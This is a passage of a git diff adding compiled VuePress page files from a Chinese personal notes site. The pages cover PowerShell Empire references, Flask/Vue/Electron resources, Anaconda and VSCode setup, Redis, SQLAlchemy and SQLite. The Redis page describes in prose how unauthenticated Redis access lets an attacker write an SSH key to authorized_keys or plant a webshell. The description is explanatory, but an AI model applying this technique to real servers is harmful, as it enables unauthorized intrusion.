设计目标是像"),n("a",M,[s("C"),a(e)]),s("一样快速,像"),n("a",Y,[s("Python"),a(e)]),s("一样有表达力,并像"),n("a",I,[s("Lisp"),a(e)]),s("一样有扩展性。")])]),P,n("p",null,[s("不过看上去只是拷贝没成功而已, 通过报错提示指向的网页: "),n("a",Z,[s("Welcome to Pyperclip’s documentation! — Pyperclip 1.5 documentation --- 欢迎来到 Pyperclip 的文档! — Pyperclip 1.5 文档"),a(e)]),s(" 找到了解决方案:")]),L,n("blockquote",null,[n("p",null,[n("a",J,[s("PBSC CyberWeek 2022 PowerShell Empire Demo - YouTube"),a(e)])])]),T,K,a(u,{id:"mermaid-734",code:"eJxLy8kvT85ILCpR8Aniyk7MyYwGETZJRXaGlkZ6hmYWekamJnqGRpaxCrq6ugrhmXnxJYlF0UA6Jb+8GFOdRSwXAEsnGGg="}),R,n("blockquote",null,[n("p",null,[n("a",O,[s("BC-SECURITY/Starkiller: Starkiller is a Frontend for PowerShell Empire. --- BC-SECURITY/Starkiller:Starkiller 是 PowerShell Empire 的前端。 (github.com)"),a(e)])])]),X,n("blockquote",null,[n("p",null,[n("a",z,[s("Empire 源码分析(一) - 跳跳糖 (tttang.com)"),a(e)]),s(" -- 19 年的博客, 应该是旧版的源码目录分析, 这里作为参考, 可能是检索方法的原因, 也可能是真没有相关资源, 总之并没有检索出什么 Powershell Empire 源码分析的文章")])]),j,n("blockquote",null,[n("p",null,[n("a",W,[s("Empire 源码分析(一) - 跳跳糖 (tttang.com)"),a(e)])])]),V])}const p0=i(c,[["render",n0],["__file","Powershell-Empire.html.vue"]]);export{p0 as default};
diff --git a/assets/Powershell-Empire.html-f67ac445.js b/assets/Powershell-Empire.html-f67ac445.js
new file mode 100644
index 0000000000..03eac7faeb
--- /dev/null
+++ b/assets/Powershell-Empire.html-f67ac445.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-568ff023","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/Powershell-Empire.html","title":"Powershell Empire","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[{"level":3,"title":"Github","slug":"github","link":"#github","children":[]},{"level":3,"title":"Kali","slug":"kali","link":"#kali","children":[]},{"level":3,"title":"Demo","slug":"demo","link":"#demo","children":[]}]},{"level":2,"title":"Starkiller","slug":"starkiller","link":"#starkiller","children":[]},{"level":2,"title":"整体源码概述","slug":"整体源码概述","link":"#整体源码概述","children":[{"level":3,"title":"调试","slug":"调试","link":"#调试","children":[]},{"level":3,"title":"主程序入口","slug":"主程序入口","link":"#主程序入口","children":[]},{"level":3,"title":"Listener","slug":"listener","link":"#listener","children":[]}]}],"git":{"createdTime":1682070833000,"updatedTime":1694604654000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":8},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":22.89,"words":6867},"filePathRelative":"网络安全/内网渗透/Powershell-Empire.md","localizedDate":"2023年4月21日","excerpt":""}');export{e as data};
diff --git a/assets/PythonWeb.html-bab195db.js b/assets/PythonWeb.html-bab195db.js
new file mode 100644
index 0000000000..1558ba3fc8
--- /dev/null
+++ b/assets/PythonWeb.html-bab195db.js
@@ -0,0 +1 @@
+import{_ as a}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as s,c as i,b as e,e as r,d as n,f as o}from"./app-880c6425.js";const h={},c=o(' Flask + VUE + Electron + gitee 前后端分离开发 ',4),u={href:"https://zhuanlan.zhihu.com/p/266015809",target:"_blank",rel:"noopener noreferrer"},d=o('在传统架构模式中,前后端代码存放于同一个代码库中,甚至是同一工程目录下。页面中还夹杂着后端代码。前后端工程师进行开发时,都必须把整个项目导入到开发工具中。
前后端代码库分离,前端代码中有可以进行 Mock测试(通过构造虚拟测试对象以简化测试环境的方法)的伪后端,能支持前端的独立开发和测试。而后端代码中除了功能实现外,还有着详细的测试用例,以保证 API 的可用性,降低集成风险。
在开发期间前后端共同商定好数据接口的交互形式和数据格式。然后实现前后端的并行开发; 其中前端工程师在开发完成之后可以独自进行 mock测试,而后端也可以使用 Postman 等接口测试软件进行接口自测,然后前后端一起进行功能联调并校验格式,最终进行自动化测试。
如此一来可以实现前后端代码解耦, 并行开发项目, 能够提升开发效率且易于维护
VUE ',10),_={href:"https://v3.cn.vuejs.org/",target:"_blank",rel:"noopener noreferrer"},p={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/01-Vue%E7%9A%84%E4%BB%8B%E7%BB%8D%E5%92%8Cvue-cli.html",target:"_blank",rel:"noopener noreferrer"},f=e("hr",null,null,-1),g=e("strong",null,"渐进式框架",-1),m={href:"https://v3.cn.vuejs.org/guide/single-file-component.html",target:"_blank",rel:"noopener noreferrer"},b={href:"https://github.com/vuejs/awesome-vue#components--libraries",target:"_blank",rel:"noopener noreferrer"},k=e("p",null,"在 Vue 中, 一个核心的概念就是: 数据驱动, 避免手动操作 DOM 元素, 如此一来开发者则无需关心 DOM 是如何渲染的从而有更多时间专注于业务逻辑的实现",-1),E=e("hr",null,null,-1),B=e("h3",{id:"快速上手",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#快速上手","aria-hidden":"true"},"#"),r(" 快速上手")],-1),v={href:"https://v3.cn.vuejs.org/guide/introduction.html#%E5%A3%B0%E6%98%8E%E5%BC%8F%E6%B8%B2%E6%9F%93",target:"_blank",rel:"noopener noreferrer"},A={href:"https://docs.microsoft.com/zh-cn/learn/paths/vue-first-steps/",target:"_blank",rel:"noopener noreferrer"},F={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/01-Vue%E7%9A%84%E4%BB%8B%E7%BB%8D%E5%92%8Cvue-cli.html#%E6%A1%86%E6%9E%B6%E5%92%8C%E5%BA%93%E7%9A%84%E5%8C%BA%E5%88%AB",target:"_blank",rel:"noopener noreferrer"},V={href:"https://www.bilibili.com/video/BV1AS4y177xJ?p=84",target:"_blank",rel:"noopener noreferrer"},j=e("hr",null,null,-1),y={href:"https://docs.microsoft.com/zh-cn/learn/modules/vue-data-events/7-computed-properties-exercise",target:"_blank",rel:"noopener noreferrer"},x=o(' 组件库 ',3),w={href:"https://element-plus.gitee.io/zh-CN/",target:"_blank",rel:"noopener noreferrer"},q={href:"https://js.design/home",target:"_blank",rel:"noopener noreferrer"},z={href:"https://js.design/square",target:"_blank",rel:"noopener noreferrer"},C={href:"https://js.design/resourceDetails?id=61e62e5a019153e9f2501285",target:"_blank",rel:"noopener noreferrer"},P={href:"https://js.design/resourceDetails?id=6172ba2c2c1177fe58a12f50",target:"_blank",rel:"noopener noreferrer"},D={href:"https://juejin.cn/post/7008817581129728014",target:"_blank",rel:"noopener noreferrer"},I=e("hr",null,null,-1),N=e("h3",{id:"模板",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#模板","aria-hidden":"true"},"#"),r(" 模板")],-1),G={href:"https://segmentfault.com/a/1190000038323430",target:"_blank",rel:"noopener noreferrer"},S={href:"https://hooray.github.io/fantastic-admin/",target:"_blank",rel:"noopener noreferrer"},U=e("hr",null,null,-1),L=e("h2",{id:"flask",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#flask","aria-hidden":"true"},"#"),r(" Flask")],-1),M={href:"https://dormousehole.readthedocs.io/en/1.1.2/index.html",target:"_blank",rel:"noopener noreferrer"},T={href:"https://cloud.tencent.com/developer/article/1592758",target:"_blank",rel:"noopener noreferrer"},H={href:"https://www.cnblogs.com/dream-on-all-in/p/12630690.html",target:"_blank",rel:"noopener noreferrer"},W=e("hr",null,null,-1),O=e("h2",{id:"fastapi",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#fastapi","aria-hidden":"true"},"#"),r(" FastAPI")],-1),J={href:"https://fastapi.tiangolo.com/zh/",target:"_blank",rel:"noopener noreferrer"},K={href:"https://www.elprup.com/2020/09/19/fastapi_vue/",target:"_blank",rel:"noopener noreferrer"},Q={href:"https://zhuanlan.zhihu.com/p/369591096",target:"_blank",rel:"noopener noreferrer"},R=e("hr",null,null,-1),X=e("h2",{id:"electron",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#electron","aria-hidden":"true"},"#"),r(" Electron")],-1),Y={href:"https://www.electronjs.org/zh/docs/latest/tutorial/quick-start#%E6%89%93%E5%8C%85%E5%B9%B6%E5%88%86%E5%8F%91%E6%82%A8%E7%9A%84%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F",target:"_blank",rel:"noopener noreferrer"},Z={href:"https://blog.csdn.net/Likianta/article/details/89199793",target:"_blank",rel:"noopener noreferrer"},$=e("hr",null,null,-1),ee=e("h2",{id:"tauri",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#tauri","aria-hidden":"true"},"#"),r(" Tauri")],-1),re={href:"https://github.com/tauri-apps/tauri",target:"_blank",rel:"noopener noreferrer"},te={href:"https://segmentfault.com/a/1190000022489403",target:"_blank",rel:"noopener noreferrer"},ne={href:"https://blog.csdn.net/Crazymryan/article/details/108016711",target:"_blank",rel:"noopener noreferrer"},oe=e("hr",null,null,-1),ae=e("h2",{id:"gitee",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#gitee","aria-hidden":"true"},"#"),r(" Gitee")],-1),le={href:"https://gitee.com/",target:"_blank",rel:"noopener noreferrer"},se=e("p",null,"https://learngitbranching.js.org/?locale=zh_CN",-1),ie=e("p",null,"more branches",-1),he=e("p",null,"先 pull 后 commit/push",-1),ce=e("hr",null,null,-1),ue=e("h2",{id:"github",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#github","aria-hidden":"true"},"#"),r(" Github")],-1),de={href:"https://github.com/",target:"_blank",rel:"noopener noreferrer"},_e={href:"https://gitee.com/docmirror/dev-sidecar?_from=gitee_search",target:"_blank",rel:"noopener noreferrer"},pe={href:"https://education.github.com/globalcampus/student",target:"_blank",rel:"noopener noreferrer"},fe={href:"https://developer.microsoft.com/zh-CN/microsoft-365/dev-program",target:"_blank",rel:"noopener noreferrer"},ge={href:"https://www.jetbrains.com/community/education/?_ga=2.168774308.446884493.1642700868-458041083.1621420760#students",target:"_blank",rel:"noopener noreferrer"};function me(be,ke){const t=l("ExternalLinkIcon");return s(),i("div",null,[c,e("blockquote",null,[e("p",null,[e("a",u,[r("前后端分离和混合开发模式 - 知乎 (zhihu.com)"),n(t)])])]),d,e("blockquote",null,[e("p",null,[e("a",_,[r("Vue.js (vuejs.org)"),n(t)])]),e("p",null,[e("a",p,[r("01-Vue的介绍和vue-cli | 千古前端图文教程 (qianguyihao.com)"),n(t)])])]),f,e("p",null,[r("Vue 是一套用于构建用户界面的"),g,r("。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与"),e("a",m,[r("现代化的工具链"),n(t)]),r("以及各种"),e("a",b,[r("支持类库"),n(t)]),r("结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。")]),k,E,B,e("blockquote",null,[e("p",null,[e("a",v,[r("官方文档: Vue.js (vuejs.org)"),n(t)])]),e("p",null,[e("a",A,[r("Microsoft Learn: 开始使用 Vue.js"),n(t)])]),e("p",null,[e("a",F,[r("01-Vue的介绍和vue-cli | 千古前端图文教程 (qianguyihao.com)"),n(t)])]),e("p",null,[e("a",V,[r("尚硅谷: Vue快速入门"),n(t)])])]),j,e("p",null,[e("a",y,[r("练习 - 添加计算属性 - Learn | Microsoft Docs"),n(t)])]),x,e("blockquote",null,[e("p",null,[e("a",w,[r("一个 Vue 3 UI 框架 | Element Plus (gitee.io)"),n(t)])]),e("p",null,[e("a",q,[r("即时设计 - 可实时协作的专业 UI 设计工具 (js.design)"),n(t)])]),e("p",null,[e("a",z,[r("资源广场 - 即时设计 (js.design)"),n(t)])]),e("p",null,[e("a",C,[r("Element 饿了么设计规范库 - 即时设计 (js.design)"),n(t)])]),e("p",null,[e("a",P,[r("饿了么页面模版库 - 即时设计 (js.design)"),n(t)])]),e("p",null,[e("a",D,[r("VUE优秀UI组件库合集 - 掘金 (juejin.cn)"),n(t)])])]),I,N,e("blockquote",null,[e("p",null,[e("a",G,[r("10 个 GitHub 上超火和超好看的管理后台模版,又能愉快的上班摸鱼了 - SegmentFault 思否"),n(t)])]),e("p",null,[e("a",S,[r("Fantastic-admin 官网 (hooray.github.io)"),n(t)])])]),U,L,e("blockquote",null,[e("p",null,[e("a",M,[r("欢迎来到 Flask 的世界 — Flask 中文文档( 1.1.2 ) (dormousehole.readthedocs.io)"),n(t)])]),e("p",null,[e("a",T,[r("Python的Web框架Flask + Vue 生成漂亮的词云 - 云+社区 - 腾讯云 (tencent.com)"),n(t)])]),e("p",null,[e("a",H,[r("Flask+Vue 初试牛刀 - Nsubmarine - 博客园 (cnblogs.com)"),n(t)])])]),W,O,e("blockquote",null,[e("p",null,[e("a",J,[r("FastAPI (tiangolo.com)"),n(t)])]),e("p",null,[e("a",K,[r("使用 python fastapi+vue 快速搭建网站 | elprup's blog"),n(t)])]),e("p",null,[e("a",Q,[r("请不要把 Flask 和 FastAPI 放到一起比较 - 知乎 (zhihu.com)"),n(t)])])]),R,X,e("blockquote",null,[e("p",null,[e("a",Y,[r("快速入门 | Electron (electronjs.org)"),n(t)])]),e("p",null,[e("a",Z,[r("Python + Flask + Electron 混合开发入门 (项目演示)_Likianta 的博客-CSDN博客_electron flask"),n(t)])])]),$,ee,e("blockquote",null,[e("p",null,[e("a",re,[r("tauri-apps/tauri: Build smaller, faster, and more secure desktop applications with a web frontend. (github.com)"),n(t)])]),e("p",null,[e("a",te,[r("tauri - 可替换 electron 的PC端 SPA 框架 - SegmentFault 思否"),n(t)])]),e("p",null,[e("a",ne,[r("手把手教你用 Tauri+Vue 创建小型桌面应用_Crazymryan的博客-CSDN博客"),n(t)])])]),oe,ae,e("blockquote",null,[e("p",null,[e("a",le,[r("我的工作台 - Gitee.com"),n(t)])]),se]),ie,he,ce,ue,e("blockquote",null,[e("p",null,[e("a",de,[r("GitHub"),n(t)])]),e("p",null,[e("a",_e,[r("dev-sidecar: 开发者边车"),n(t)])]),e("p",null,[e("a",pe,[r("GitHub Education"),n(t)])]),e("p",null,[e("a",fe,[r("开发人员计划|Microsoft 365开发人员中心"),n(t)])]),e("p",null,[e("a",ge,[r("Free Educational Licenses - Community Support (jetbrains.com)"),n(t)])])])])}const ve=a(h,[["render",me],["__file","PythonWeb.html.vue"]]);export{ve as default};
diff --git a/assets/PythonWeb.html-d9776b31.js b/assets/PythonWeb.html-d9776b31.js
new file mode 100644
index 0000000000..4aade0ef57
--- /dev/null
+++ b/assets/PythonWeb.html-d9776b31.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-f364f314","path":"/Language/Python/PythonWeb.html","title":"Flask + VUE + Electron + gitee","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"前后端分离开发","slug":"前后端分离开发","link":"#前后端分离开发","children":[]},{"level":2,"title":"VUE","slug":"vue","link":"#vue","children":[{"level":3,"title":"快速上手","slug":"快速上手","link":"#快速上手","children":[]},{"level":3,"title":"组件库","slug":"组件库","link":"#组件库","children":[]},{"level":3,"title":"模板","slug":"模板","link":"#模板","children":[]}]},{"level":2,"title":"Flask","slug":"flask","link":"#flask","children":[]},{"level":2,"title":"FastAPI","slug":"fastapi","link":"#fastapi","children":[]},{"level":2,"title":"Electron","slug":"electron","link":"#electron","children":[]},{"level":2,"title":"Tauri","slug":"tauri","link":"#tauri","children":[]},{"level":2,"title":"Gitee","slug":"gitee","link":"#gitee","children":[]},{"level":2,"title":"Github","slug":"github","link":"#github","children":[]}],"git":{"createdTime":1667833854000,"updatedTime":1675159577000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":3.85,"words":1154},"filePathRelative":"Language/Python/PythonWeb.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/QuickStart.html-0bae2a0b.js b/assets/QuickStart.html-0bae2a0b.js
new file mode 100644
index 0000000000..e6f153a387
--- /dev/null
+++ b/assets/QuickStart.html-0bae2a0b.js
@@ -0,0 +1,7 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as c,o as s,c as d,b as a,e,d as o,f as t}from"./app-880c6425.js";const r={},l=t(' QuickStart 快速开始 Anaconda + VSCode + jupyter插件 + Python相关插件
Anaconda
: 用于管理 python 环境VSCode
: 用于编写与运行 python 程序VSCode 中的 Jupyter 插件
: 用于交互式编写 python 程序VSCode 中的 Python 相关插件
: 用于支持一些 Python 相关的代码提示, 语法高亮之类 Anaconda ',8),p={href:"https://ayusummer.github.io/DailyNotes/Language/Python/%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83.html#anaconda",target:"_blank",rel:"noopener noreferrer"},u=a("br",null,null,-1),h=a("p",null,[e("安装完成后打开 "),a("code",null,"Anaconda Navigator"),e(":")],-1),m=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/202205230936469.png",alt:"image-20220523093633147"})],-1),g=a("h4",{id:"anaconda-换源",tabindex:"-1"},[a("a",{class:"header-anchor",href:"#anaconda-换源","aria-hidden":"true"},"#"),e(" Anaconda 换源")],-1),b={href:"https://www.cnblogs.com/yuvejxke/p/13169172.html",target:"_blank",rel:"noopener noreferrer"},v=t(` 新建一个 conda 环境 打开 Anaconda Navigator -> Environments
在环境列表底部按钮中找到 Create
并点击
为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)
这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上
在命令行中使用 conda 环境可以使用如下指令激活:
环境变量 在控制台输入 conda -V
没有反应的话应该是环境变量没加(虽然我记得装的时候会提示勾选添加环境变量)
如果没添加环境变量的话可以编辑系统环境变量, 在 系统变量
的 Path
项中添加两条环境变量
C:\\ Users\\ xxx\\ Anaconda3
+C:\\ Users\\ xxx\\ Anaconda3\\ Scripts
+
第一条对应自己的 Anaconda 安装位置根目录 第二条对应 Anaconda 根目录下的 Scripts 目录
VSCode `,19),y={href:"https://ayusummer.github.io/DailyNotes/%E9%80%9A%E8%AF%86/VSCode.html",target:"_blank",rel:"noopener noreferrer"},_=t('用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载
比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用
VSCode 扩展安装 汉化插件
Python 相关基础插件
jupyter 插件
使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示
Markdown 插件
命令行插件 Terminal
用于在 VSCode 中打开 powershell 执行命令
',5);function f(E,k){const n=c("ExternalLinkIcon");return s(),d("div",null,[l,a("blockquote",null,[a("p",null,[a("a",p,[e("Python 开发环境配置 | DailyNotes (ayusummer.github.io)"),o(n)]),u,e(" 需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误")])]),h,m,g,a("blockquote",null,[a("p",null,[a("a",b,[e("anaconda修改国内源 - 余者皆可 - 博客园 (cnblogs.com)"),o(n)])])]),v,a("blockquote",null,[a("p",null,[a("a",y,[e("VSCode | DailyNotes (ayusummer.github.io)"),o(n)])])]),_])}const S=i(r,[["render",f],["__file","QuickStart.html.vue"]]);export{S as default};
diff --git a/assets/QuickStart.html-786b961c.js b/assets/QuickStart.html-786b961c.js
new file mode 100644
index 0000000000..d3360ff318
--- /dev/null
+++ b/assets/QuickStart.html-786b961c.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-f18f1aa2","path":"/Language/Python/QuickStart.html","title":"QuickStart","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"快速开始","slug":"快速开始","link":"#快速开始","children":[{"level":3,"title":"Anaconda","slug":"anaconda","link":"#anaconda","children":[]},{"level":3,"title":"VSCode","slug":"vscode","link":"#vscode","children":[]}]}],"git":{"createdTime":1667833854000,"updatedTime":1675159577000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":2.59,"words":778},"filePathRelative":"Language/Python/QuickStart.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Redis.html-04361099.js b/assets/Redis.html-04361099.js
new file mode 100644
index 0000000000..3ba1a556d6
--- /dev/null
+++ b/assets/Redis.html-04361099.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-138cf1ae","path":"/%E5%90%8E%E7%AB%AF/%E6%95%B0%E6%8D%AE%E5%BA%93/Redis.html","title":"Redis","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"常用命令","slug":"常用命令","link":"#常用命令","children":[]},{"level":2,"title":"安全相关","slug":"安全相关","link":"#安全相关","children":[{"level":3,"title":"未授权访问","slug":"未授权访问","link":"#未授权访问","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1687675388000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":2.09,"words":626},"filePathRelative":"后端/数据库/Redis.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Redis.html-38720d62.js b/assets/Redis.html-38720d62.js
new file mode 100644
index 0000000000..c63f08f80c
--- /dev/null
+++ b/assets/Redis.html-38720d62.js
@@ -0,0 +1,18 @@
+import{_ as c}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as p,c as u,b as e,e as s,d as n,w as t,f as r}from"./app-880c6425.js";const h={},b=e("h1",{id:"redis",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#redis","aria-hidden":"true"},"#"),s(" Redis")],-1),m={href:"https://redis.io/",target:"_blank",rel:"noopener noreferrer"},k={href:"https://www.runoob.com/redis/redis-tutorial.html",target:"_blank",rel:"noopener noreferrer"},v=r('REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。
Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis is an open source (BSD licensed), in-memory data structure store used as a database, cache, message broker, and streaming engine.
安装 ',8),f=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"sudo"),s(),e("span",{class:"token function"},"apt"),s(),e("span",{class:"token function"},"install"),s(` lsb-release
+
+`),e("span",{class:"token comment"},"# 将仓库加入到 apt index, 并更新以及安装 redis"),s(`
+`),e("span",{class:"token function"},"curl"),s(),e("span",{class:"token parameter variable"},"-fsSL"),s(" https://packages.redis.io/gpg "),e("span",{class:"token operator"},"|"),s(),e("span",{class:"token function"},"sudo"),s(" gpg "),e("span",{class:"token parameter variable"},"--dearmor"),s(),e("span",{class:"token parameter variable"},"-o"),s(` /usr/share/keyrings/redis-archive-keyring.gpg
+
+`),e("span",{class:"token builtin class-name"},"echo"),s(),e("span",{class:"token string"},[s('"deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb '),e("span",{class:"token variable"},[e("span",{class:"token variable"},"$("),s("lsb_release "),e("span",{class:"token parameter variable"},"-cs"),e("span",{class:"token variable"},")")]),s(' main"')]),s(),e("span",{class:"token operator"},"|"),s(),e("span",{class:"token function"},"sudo"),s(),e("span",{class:"token function"},"tee"),s(` /etc/apt/sources.list.d/redis.list
+
+`),e("span",{class:"token function"},"sudo"),s(),e("span",{class:"token function"},"apt-get"),s(` update
+`),e("span",{class:"token function"},"sudo"),s(),e("span",{class:"token function"},"apt-get"),s(),e("span",{class:"token function"},"install"),s(` redis
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),g=e("p",null,"@tab windows",-1),_={href:"https://github.com/tporadowski/redis/releases",target:"_blank",rel:"noopener noreferrer"},x=e("code",null,"msi",-1),R=r(`进入 redis 安装目录, 以管理员方式运行 redis-server.exe
即可
:::
常用命令 ps -ef| grep redis
+sudo kill -9 pid
+sudo killall -9 redis-server
+sudo redis-server /etc/redis/redis.conf
+netstat -nlt| grep 6372
+
启动与停止
/etc/init.d/redis-server stop
+/etc/init.d/redis-server start
+/etc/init.d/redis-server restart
+
安全相关 未授权访问 低版本 Redis 默认配置下没有密码并绑定在 0.0.0.0
, 因此可以直接被远程连接登入达成未授权访问 Redis 以及读取 Redis 的数据。
需要注意的是, 使用官网下载的 redis.exe
安装后是挂在 Windows 服务中的, 对应的配置文件是 redis.windows-service.conf
而非 redis.windows
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作
如果目标服务器为 Linux 设备, 那么攻击者可以将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的 authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。 如果目标服务器为 Windows 设备 如果其上有 Web 服务的话, 通过暴破目录或者站点上有 php探针啥的页面获取到服务器上的 Web 目录后则可以尝试向其中写 webshell `,15);function w(E,y){const a=i("ExternalLinkIcon"),o=i("Tabs");return p(),u("div",null,[b,e("blockquote",null,[e("p",null,[e("a",m,[s("Redis"),n(a)])]),e("p",null,[e("a",k,[s("Redis 教程 | 菜鸟教程 (runoob.com)"),n(a)])])]),v,n(o,{id:"56",data:[{id:"Ubuntu/Debian"}],active:0},{title0:t(({value:l,isActive:d})=>[s("Ubuntu/Debian")]),tab0:t(({value:l,isActive:d})=>[f]),_:1}),g,e("p",null,[s("到 "),e("a",_,[s("Releases · tporadowski/redis --- 发布 · tporadowski/redis (github.com)"),n(a)]),s(" 下载 "),x,s(" 文件进行安装即可")]),R])}const A=c(h,[["render",w],["__file","Redis.html.vue"]]);export{A as default};
diff --git a/assets/SQLAlchemy.html-3dc878f3.js b/assets/SQLAlchemy.html-3dc878f3.js
new file mode 100644
index 0000000000..96b7800221
--- /dev/null
+++ b/assets/SQLAlchemy.html-3dc878f3.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-51c0e95b","path":"/%E5%90%8E%E7%AB%AF/%E6%95%B0%E6%8D%AE%E5%BA%93/SQLAlchemy.html","title":"SQLAlchemy","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"问题收集","slug":"问题收集","link":"#问题收集","children":[{"level":3,"title":"count 的性能问题","slug":"count-的性能问题","link":"#count-的性能问题","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.14,"words":41},"filePathRelative":"后端/数据库/SQLAlchemy.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/SQLAlchemy.html-c5e35904.js b/assets/SQLAlchemy.html-c5e35904.js
new file mode 100644
index 0000000000..178bd75dbd
--- /dev/null
+++ b/assets/SQLAlchemy.html-c5e35904.js
@@ -0,0 +1 @@
+import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as a,c as t,f as c}from"./app-880c6425.js";const r={},h=c(' SQLAlchemy 问题收集 count 的性能问题
',7),l=[h];function i(n,o){return a(),t("div",null,l)}const d=e(r,[["render",i],["__file","SQLAlchemy.html.vue"]]);export{d as default};
diff --git a/assets/SQLite.html-594ec433.js b/assets/SQLite.html-594ec433.js
new file mode 100644
index 0000000000..106d823f73
--- /dev/null
+++ b/assets/SQLite.html-594ec433.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-0d822a7c","path":"/%E5%90%8E%E7%AB%AF/%E6%95%B0%E6%8D%AE%E5%BA%93/SQLite.html","title":"SQLite","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"virtual columns","slug":"virtual-columns","link":"#virtual-columns","children":[]},{"level":2,"title":"自增量归零","slug":"自增量归零","link":"#自增量归零","children":[]},{"level":2,"title":"Litestream","slug":"litestream","link":"#litestream","children":[]}],"git":{"createdTime":1667962035000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":2.29,"words":688},"filePathRelative":"后端/数据库/SQLite.md","localizedDate":"2022年11月9日","excerpt":""}');export{e as data};
diff --git a/assets/SQLite.html-cfe60843.js b/assets/SQLite.html-cfe60843.js
new file mode 100644
index 0000000000..c6a8bc02f5
--- /dev/null
+++ b/assets/SQLite.html-cfe60843.js
@@ -0,0 +1,47 @@
